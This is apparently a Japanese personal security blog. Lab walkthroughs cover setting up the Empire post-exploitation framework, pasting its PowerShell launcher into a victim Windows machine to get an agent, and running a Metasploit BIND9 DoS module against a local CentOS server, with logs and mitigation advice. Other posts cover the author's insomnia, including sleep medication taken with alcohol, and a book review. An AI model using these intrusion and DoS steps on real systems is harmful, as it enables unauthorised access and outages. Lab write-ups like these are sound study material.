ウサギは後退せず、大きな耳で情報集めをする事に験を担ぎ、古来より日本では鎧などにウサギの図柄を取り入れてきたらしい。

うさブロ

ぼっちなうさぎのセキュリティラボ

不眠症になりました

f:id:appleseedj073:20170503003200p:plain

今日はサイバーネタから離れて最近の状況を。

実は不眠症になりました。このネタを書いているのも0時30分過ぎ、処方された睡眠導入剤とを抗不安薬を飲んで既に4時間、ハイボールに関しては5杯目。まだまだ眠くならない!

 

寝なくていいなんて、夜中もゲームできるしマジ最強!!って思っていたのに実は違った。寝てないツケが昼間に回ってくるw

昼間仕事してる時がとても眠い・・・。マジで眠い。

 

俺の周囲の人間がこのブログを読んでいることはないと思うけど、もし周りの人間に不眠症で悩んでいる人がいたら優しくしてあげてください。「不眠症っていうのに、昼間めっちゃ眠そうじゃん」とか「いつもぼんやりしてるけどやる気ないなぁ」なんて思わないでください。不眠症になると、みんなが寝ようと考える時間帯に眠れないんです。薬飲んででも寝ようとしても眠れない時は眠れないんです。

 

そのせいで周囲に迷惑をかけていたら本当にごめんなさい。

てか、絶対に迷惑かけています。ごめんなさい。

もし少しだけでも気持ち余裕があるならわかって欲しい。今、本気で辛いの(T ^ T)

とある親父の侵入実験【Empire:皇帝の変遷】

f:id:appleseedj073:20160813022549p:plain

このEmpireってツールって意外とコマンド多いのよね。

とりあえず勝手にモード分けして見た!モードの名称は、本当に勝手に決めただけなので苦情の類は一切受け付けませんw

 

まずはメインメニューモード

f:id:appleseedj073:20170502221430p:plain

一番最初のメイン画面から選べるコマンド群。ここからリスナーモードやエージェントモードに移行します。

 

次がリスナーモード

f:id:appleseedj073:20170502221500p:plain

メインメニューモードで「listeners」と入力するとリスナーモードへ移行する。Empireで使用するリスナーに関する設定をすることが出来る。既に対象からのリバース接続がある場合については「agents」コマンドでエージェントモードへ移行する。

 

次がエージェントモード

f:id:appleseedj073:20170502221559p:plain

リバース接続があった端末を掌握し、モジュールを使用したり端末にインタラクトしたりする。

 

エージェントモードからのインタラクトモード

f:id:appleseedj073:20170502221617p:plain

端末に完全に入り込んだ状態というのか、端末にだいぶ深く侵入している状態と考えている。かなりやれることが増えている。

 

最後がモジュールモード

f:id:appleseedj073:20170502221705p:plain

各モードで実は利用できる専用のモジュールを選択した場合に表示されるモジュールモード。「info」コマンドで必要な設定を確認して「set」コマンドを使用して値を設定して「execute」で実行。ここら辺の流れはモジュールモードに限ることなく似たような感じなったいる。

 

なんか、間違いや指摘があったらお願いしまーすw

とある親父の侵入実験【Empire:皇帝の君臨w】

f:id:appleseedj073:20160813022549p:plain

久しぶりのブログネタ。

今回は、Youtube見てたら見つけた「Empire」ってのを使ってみることにした。

Empire・・・「皇帝」よ!

f:id:appleseedj073:20170430220629j:plain

「退かぬ、媚びぬ、省みぬ!」のこの人が異常なく頭をよぎりましたが、全く関係ありません。

 

久しぶりに書くから書きっぷりが昔と違うとかはなしでお願いします。

1・やること

まずはKaliを立ち上げてGithubから落としてこよう

github.com

 git clone https://github.com/EmpireProject/Empire.git

 

落としてきたらsetupにあるinstall.shを叩いてやるとインスコ完了

 

2・起動

empireってのがあるのでそいつを起動する

 ./empire

 

起動したらこんな画面

f:id:appleseedj073:20170430221631p:plain

 

3・作戦開始

ここでコマンドを入れるんだけどとりあえず

f:id:appleseedj073:20170430221723p:plain

 > listeners

これでリスナーモードになる(詳しいことは後日)

ここで待ち受けるための設定を記述してあげる

f:id:appleseedj073:20170430222002p:plain

そしたら

 > execute

f:id:appleseedj073:20170430222226p:plain

実行できた感じなら以下のコマンドで確認できる

 > list

 

次に本当は色々やりたいけど今日は、手間を省いて今回作成したリスナーに接続するpowershellを書き出してもらってそれをvictimとなるwindowsにコピペ。とりあえずempireの能力の確認っていうことで・・・

まずはpowershellの発行

f:id:appleseedj073:20170430222741p:plain

 > launcher test(testはリスナーの名前)

で、この長いのをコピーしてWindowsの Cmdに貼り付けて実行

f:id:appleseedj073:20170430222857p:plain

こうしてやると・・・

kali側では

f:id:appleseedj073:20170430223229p:plain

接続が始まった旨が伝達される

 

そして

f:id:appleseedj073:20170430223620p:plain

 > agents

コマンドを叩くと接続されている端末を確認できる。

この状態で

 > interact KGDPYTHTNCN44WV3(接続時に端末に振られた名称)

とりあえず今日のところは情報はこんな感じ

f:id:appleseedj073:20170430224653p:plain

目的が先か、手段が先か

ここ最近、ずっと悩んでいた。

 

f:id:appleseedj073:20170213224356p:plain

kali linuxは、とても便利なペネトレーションテスト用のOSだと思う。ツールも豊富で、2000個以上?用意されているらしい。もしこれを自分で全て一つずつインストールしていったらどんだけの労力なんだろうか?そう考えると本当に便利である。

 

しかし、この便利なツールがあるせいで自分は考えることを疎かにしてしまった。

f:id:appleseedj073:20170213224920j:plain

「怠惰ですね」

 

Aというツールがあるから、この攻撃検証をしてみよう。

Bというツールを使って何かできないかな?

 

手段が先行してしまってる攻撃検証なんて選択肢の幅が狭い!

 

ナイフを持ってるから人を刺すの?

人を刺したいからナイフを手に取るの?

 

DoSツールを手に入れたから、A社にDoS攻撃をするの?

A社にDoS攻撃をしたいから、DoSツールを求めるんじゃないの?

 

前者の場合、先に手段が決まってしまてるからそのあとに手段が変更することなんてないと思う。でも後者の場合、まず目的があってその目的を達成するために手段を求めるから、その工程で見つかる手段は前者より選択肢が多いと思う。

 

人を刺したい → ナイフにする?杭にする?アイスピック?もっとエゲツない物?w

A社にDoS攻撃をしたい → ツールをネットから探す?ツールを自分でコーディングする?基本コマンドをうまく組み合わせる?

 

後者の方が、可能性は無限大に広がるのでは?

 

だから、これからの攻撃検証は「便利なツールを見つけたから、それを活用する攻撃検証」といった考え方ではなく、「こんなことをしたい!そのためには何をどうすれば良いか?」と考えていきたい。

 

と、久しぶりのブログは心機一転の思考パターンを備忘録的に綴ってみた。

BIND9用のMetasploit Module を使ってみる【攻撃編】

f:id:appleseedj073:20161107232032p:plain

準備ができたら攻撃検証開始!

攻撃環境

やられサーバ(CentOS 6.6)

  • IP 192.168.10.21

 

攻撃側(Kali Linux

  • IP 192.168.10.20

やられサーバ側でBINDの起動を確認

 ps awux | grep -v grep | grep bind

f:id:appleseedj073:20161113210210p:plain

BINDの起動を確認できたら攻撃側へ

 

攻撃側でとりあえずnmapしてみた。

f:id:appleseedj073:20161113210524p:plain

53番のオープンを確認

 

攻撃開始

 msfconsole

 use auxiliary/dos/dns/namedown

f:id:appleseedj073:20161113213951p:plain

optionの確認

 show options

f:id:appleseedj073:20161113214337p:plain

optionsの入力

 set RHOSTS 192.168.10.21

設定の確認

f:id:appleseedj073:20161113214702p:plain

 

必要事項を入力したら実行!

 run

f:id:appleseedj073:20161113215033p:plain

攻撃が成功しているようなメッセージが表示される。

 

やられサーバ側を確認する。

 ps awux | grep -v grep | grep bind

f:id:appleseedj073:20161113215853p:plain

BINDの起動が確認できない。

ログの確認

 cat /var/log/messages

f:id:appleseedj073:20161113220225p:plain

Nov 13 21:48:57 dns-bind-server named[21461]: client 192.168.10.20#48681: request has invalid signature: TSIG xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.ZGiJyWKHqULvV9IY2sCflhqeyjVbt5agK3rf4E2FpuiMIdDyDT3OeVtzcAfW4: tsig verify failure (BADKEY)

 攻撃側から不正なクエリを受信して、tsigがBADKEYということでfailureを返す。

Nov 13 21:48:58 dns-bind-server named[21461]: buffer.c:127: REQUIRE(b->used + n <= b->length) failed

 buffer.cのREQUIRE(b->used + n <= b->length)でエラーになって failedと返している。

Nov 13 21:48:58 dns-bind-server named[21461]: exiting (due to assertion failure)

 次の行ではassertion failureでexiting(終了)している。

 

ちなみに脆弱性の残っていないバージョンに対して攻撃をした場合

攻撃側

f:id:appleseedj073:20161113224631p:plain

失敗してるようなメッセージ・・・。

 

やられ側

ログの確認

f:id:appleseedj073:20161113224801p:plain

Nov 13 22:42:52 dns-bind-server named[15820]: client 192.168.10.20#44603: request has invalid signature: TSIG Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.0EYEI747SGaPV6RzJsPkst5S6TYTyAqmfEIvx9IGF1sBm4pmXu8ueYzoGy9dh: tsig verify failure (BADKEY)

 攻撃側から不正なクエリを受信して、tsigがBADKEYということでfailureを返すけどbuffer.cのエラーを返したりしてBINDが停止することはない。

 

結論

 出来ることならバージョンアップするのが良いと思う。それがダメならセカンダリを用意するなどして冗長化したほうがいいと思う。セカンダリは、BIND以外の名前解決サービスで運用するほうがいいかも。

 それも、ダメならクーロンでサービスの死活監視をして停止したらすぐに管理者に通報すると同時に停止したサービスを起動するようにしたほうがいいかも。(個人的な意見です)

 

 

 

BIND9用のMetasploit Module を使ってみる【準備編】

f:id:appleseedj073:20161107232032p:plain

久しぶりの脆弱性に対する攻撃検証をやってみる。

www.ipa.go.jp

簡単にいうと脆弱性が残るBIND9に細工したクエリを送り込むとBIND9がサービスを停止するというものである。

 

影響の受けるバージョンは以下の通り

  • BIND 9.0.x から 9.8.x までのバージョン
  • BIND 9.9.0 から 9.9.9-P2 までのバージョン
  • BIND 9.9.3-S1 から 9.9.9-S3 までのバージョン
  • BIND 9.10.0 から 9.10.4-P2 までのバージョン
  • BIND 9.11.0a1 から 9.11.0rc1 までのバージョン

 対策として、ISCから以下のバージョンへのアップデートが推奨されている

  • BIND 9.9.9-P3
  • BIND 9.9.9-S5
  • BIND 9.10.4-P3
  • BIND 9.11.0rc3

 

準備したこと

  1. やられ環境として、脆弱性が残るBIND9をインストールしたCentOS6.6を作る
  2. 例によってGitHubから持ってきたModuleを突っ込む

 

1.やられ環境として、脆弱性が残るBIND9をインストールしたCentOS6.6を作る

やられサーバのOSとしてCentOS6.6を、BINDは9.10.1-P1を用意した。どちらも、ネットでダウンロード可能。

ちなみに手順等については、以下のサイトを参考にした。


qiita.com

qiita.com

CentOSをVMwareFusionにインストールして、落としてきたBIND9.10.1-P1をインストールする。

f:id:appleseedj073:20161108075739p:plain

 

サービスを起動させて、起動を確認する。

f:id:appleseedj073:20161108075801p:plain

 

2.例によってGitHubから持ってきたModuleを突っ込む

GitHubからBIND9の脆弱性を突く攻撃モジュールをダウンロードしてくる。

github.com

 

 ダウンロードしてきたモジュール(namedown.rb)を~/.msfX/modules/auxiliary/dos/dns/ (Xには該当するバージョン)に配置する。(ディレクトリがない場合は適宜作成)

  ~/.msf4/modules/auxiliary/dos/dns/

とりあえずこれで準備は完了。

感謝するココロ 〜辻さんの本を読み終えて〜

 

あなたのセキュリティ対応間違っています

あなたのセキュリティ対応間違っています

 

 

辻さんの「あなたのセキュリティ対応間違っています」という本をAmazonでポチって読み終えました。

以下、この本のレビューはしませんw

別に宣伝するつもりもないので、褒めちぎったりもしません。だからと言って否定なんて絶対ありえませんけどw

ただ、読んだあとずっと胸の中に残る「気持ち」を今後忘れないために書き連ねます。

 

内容は、真面目にレビューされている方がいますからそっちを読んでください。

率直な感想としては、やっぱり説明がうまいなぁと思いました。何度か、プレゼンを拝聴したり、一緒にお話をさせてもらってて思うのが本当にこの仕事好きなんだなぁって思ったこと。説明が丁寧でわかりやすく、何よりも楽しそうに話してくださったのが印象的でした。セキュティ初心者から上級者までいろんな側面から楽しめると思う。特に上級者や、周りに伝えなくてはいけない立場の人間としては、勉強になる本だと思った。

 

〜以下、ある意味ネタバレ〜

 

 

 

 

私は、この本を通勤の行き帰りで読んでいた。最後まで。

今となっては、それをとても後悔してる。せめて最後は、一人になれる場所で静かに読みたかった。

この本のラストは感謝で溢れている。身近な人、関わった人、最愛の人への感謝で溢れていた。読み終えた時には、俺の目元は涙で溢れていた。自宅へ向かう帰りの通勤ラッシュの中、いい年したおっさんが涙溜めて本を読んでる。本当に気持ち悪い光景だっただろう。

その日は、帰りにコンビニで家族にスイーツを買って帰りました。「ただいま」の後に「ありがとう」と言いました。

 

私は、辻さんとは、全くレベルが違うけれど「ペネトレーションテスター」的な仕事をしている。職場の中で一人っきりで。

脆弱性が出たら、一人で悩んで、一人で解決し、一人で喜んでる。職場内では、みんなチームを組んでたり隣同士相談しているのにいつも自分ばかり一人で辛かった。孤独だった。

最近、そんな生活が嫌になってかなり自暴自棄になってしまっていた。孤独に負けてました。でも、ある方が「一人じゃないですよ。」と手を差し伸べてくれて、そして私の孤独に対して「孤独を乗り越えるんじゃなくて、付き合っていけばいい」と道を示してくれた。そして「自分が自分を一番好きに、そして、優しくしてあげましょう」と言ってくれました。その後、1時間くらい泣き続けました。

よく考えたら、そこまで孤独じゃなかったのかもしれない。

本気でしんどい時に、無茶苦茶なタイミングなのに笑顔で引き受けてくれた後輩達。

俺が、立ち回りやすいように根回しと舞台を誂えてくれてる上司。

もっと冷静になって周りを見て、みんなに感謝しないといけないと気付けた。

 

話が脱線したが、本の最後に書かれていた感謝の言葉を読んでいたら、今まで、本当に大変な苦労があったんだろうな。だから、あんなに暖かい言葉で感謝を伝えられるんだろうなと勝手に思ってました。

 

読み終えた今、改めて後輩と上司に「ありがとう」と伝えたくなりました。

 

そして、救ってくれた辻さんに感謝したいです。

 

あなたのセキュリティ対応間違っています

あなたのセキュリティ対応間違っています